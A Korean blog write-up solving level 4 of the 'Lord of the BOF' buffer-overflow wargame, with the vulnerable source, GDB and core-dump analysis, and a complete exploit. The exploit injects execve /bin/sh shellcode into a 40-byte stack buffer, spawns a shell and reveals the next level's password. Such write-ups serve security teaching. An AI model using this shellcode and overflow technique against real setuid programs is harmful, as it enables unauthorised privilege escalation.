-
[LEVEL4] (goblin -> orc) : egghunterWargame/LordOfTheBof (redhat) 2013. 6. 26. 14:33
1. 문제 Source
/* The Lord of the BOF : The Fellowship of the BOF - orc - egghunter */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); }
buffer의 공간이 40 Byte로 늘었다. 그리고 여러 제약이 추가되었는데,
1. 환경변수(environ)를 모두 0으로 초기화한다.
2. argv[1][47]이 \xbf인지를 확인하고 아니면 종료한다.
어차피 앞에서 시도했던 모든 공격들은 shellcode가 있는 주소값이 0xbf로 시작했으니 2번은 상관없고,
1번또한 40 Byte면 shellcode를 넣기에 충분하다. 즉 LEVEL1과 틀린점은 buffer 사이즈가 틀린것 외에는 없다.
2. GDB로 분석
먼저 원본파일에는 권한이 없기 때문에 GDB 사용에 어려움이 따를수도 있다. 원본을 복사하여 사용하자.
(참고 : 원본파일과 파일명 길이가 다를경우 메모리 주소에 차이가 있을수도 있으니, 가능하면 파일명은 같은 길이로 복사하자)
[goblin@localhost goblin]$ cp orc ora
이후 복사본을 gdb로 열어 분석한다.
[goblin@localhost goblin]$ gdb -q ora
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
...중략...
0x80485b8 <main+184>: push %edx
0x80485b9 <main+185>: lea %eax,[%ebp-40]
0x80485bc <main+188>: push %eax
0x80485bd <main+189>: call 0x8048440 <strcpy>
0x80485c2 <main+194>: add %esp,8
0x80485c5 <main+197>: lea %eax,[%ebp-40]
0x80485c8 <main+200>: push %eax
0x80485c9 <main+201>: push 0x8048659
0x80485ce <main+206>: call 0x8048410 <printf>
0x80485d3 <main+211>: add %esp,8
0x80485d6 <main+214>: leave
0x80485d7 <main+215>: ret
strcpy가 끝나는 부분인 <main+197> 부분에 break point를 걸고 살펴보자.
(gdb) b *main+197
Breakpoint 1 at 0x80485c5
(gdb) r `python -c "print 'A'*40 + 'BBBB' + '\xbf\xbf\xbf\xbf'"`
Starting program: /home/goblin/ora `python -c "print 'A'*40 + 'BBBB' + '\xbf\xbf\xbf\xbf'"`
Breakpoint 1, 0x80485c5 in main ()
(gdb) x/20wx $esp
0xbffffaac: 0x00000016 0x41414141 0x41414141 0x41414141
0xbffffabc: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffacc: 0x41414141 0x41414141 0x41414141 0x42424242
0xbffffadc: 0xbfbfbfbf 0x00000000 0xbffffb24 0xbffffb30
0xbffffaec: 0x40013868 0x00000002 0x08048450 0x00000000
(gdb) x/s 0xbffffab0
0xbffffab0: 'A' <repeats 40 times>, "BBBB����"
x/s 0xbffffab0 - 해당 주소의 문자열을 보여준다. 'A' <repeats 40 times> 라는 결과로 여기서부터가 buffer의 주소라는것을 알 수 있다.
0xbffffab0이 buffer의 시작 주소인것을 알아냈다. 이제 buffer에 shellcode를 삽입하고 eip를 저 주소로 바꿔서 쉘을 얻자.
3. Exploit
사용할 shellcode는 아래와 같다. (총 25 Byte)
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
이전의 41 Byte의 shellcode보다 짧아졌는데. 이유는 간단하다.
전의 shellcode는 setreuid( geteuid() , geteuid() ); 를 한 뒤에 /bin/bash를 띄우는 shellcode였지만,
이 shellcode는 단순히 /bin/bash만을 띄우는 shellcode이다.
그런데 동작하냐고? 물론 동작한다. 이유는 해당 BOF 원정대 Red Hat 버전이 굉장히 낮기때문. 차후 높은 버전에서는 setuid가 걸려 있어도 바로 /bin/bash를 실행하지 못한다.
이제 위의 shellcode를 이용해 shell을 획득하자. shellcode뒤에는 최소 16 Byte의 공간이 있어야 shellcode가 실행이 된다.
아래는 최종 구성이다.
shellcode
NOP
SFP
RET
25 Byte
15 Byte
4 Byte(NOP)
4 Byte
40 Byte
[goblin@localhost goblin]$ bash2
[goblin@localhost goblin]$ ./ora `python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80' + '\x90'*19 + '\xb0\xfa\xff\xbf'"`
1�Ph//shh/bin��PS��1Ұ
�����������������������
Segmentation fault
이상하게 Segmentation fault만 나고 shell이 뜨지 않는다. 보기쉽게 A를 buffer에 채운 뒤 core를 떨어트려 분석해보자.
[goblin@localhost goblin]$ ulimit -c unlimited
[goblin@localhost goblin]$ ./ora `python -c "print 'A'*40 + 'BBBB' + '\xb0\xfa\xff\xbf'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB����
Segmentation fault (core dumped)
[goblin@localhost goblin]$ gdb -q ora core
Core was generated by `./ora AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB����'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0 0xbffffab0 in ?? ()
(gdb) x/40wx $eip
0xbffffab0: 0x080485d3 0x08048659 0xbffffac0 0x00000017
0xbffffac0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffad0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffae0: 0x41414141 0x41414141 0x42424242 0xbffffab0
0xbffffaf0: 0x00000000 0xbffffb34 0xbffffb40 0x40013868
0xbffffb00: 0x00000002 0x08048450 0x00000000 0x08048471
0xbffffb10: 0x08048500 0x00000002 0xbffffb34 0x08048390
0xbffffb20: 0x0804860c 0x4000ae60 0xbffffb2c 0x40013e90
0xbffffb30: 0x00000002 0xbffffc2e 0xbffffc34 0x00000000
0xbffffb40: 0xbffffc65 0xbffffc76 0xbffffc90 0xbffffcaf
이상하게도 기존에 buffer 주소로 입력했던 0xbffffab0은 이상한 값들로 채워져 있고 16 Byte나 차이나는 0xbffffac0부터 A(0x41)가 채워져 있는것을 확인할 수 있다.
이것이 바로 LEVEL1 풀이시 설명했던 gdb로 보는것보다 core를 보는것이 더 정확하다고 했던 이유다. 이상하게 가끔 gdb로 보면 실제 buffer와 주소값이 다를때가 있다.
아무튼 이제 실제 buffer의 주소를 알아냈으니 이를 이용해 다시 공격하자.
[goblin@localhost goblin]$ ./orc `python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80' + '\x90'*19 + '\xc0\xfa\xff\xbf'"`
1�Ph//shh/bin��PS��1Ұ
�����������������������
bash$ my-pass
euid = 504
cantata
성공 !
'Wargame > LordOfTheBof (redhat)' 카테고리의 다른 글
[LEVEL6] (wolfman -> darkelf) : check length of argv[1] + egghunter + bufferhunter (0) 2013.06.27 [LEVEL5] (orc -> wolfman) : egghunter + bufferhunter (0) 2013.06.27 [LEVEL3] (cobolt -> goblin) : small buffer + stdin (0) 2013.06.26 [LEVEL2] (gremlin -> cobolt) : small buffer (0) 2013.06.26 [LEVEL1] (gate -> gremlin) : simple bof (1) 2013.06.25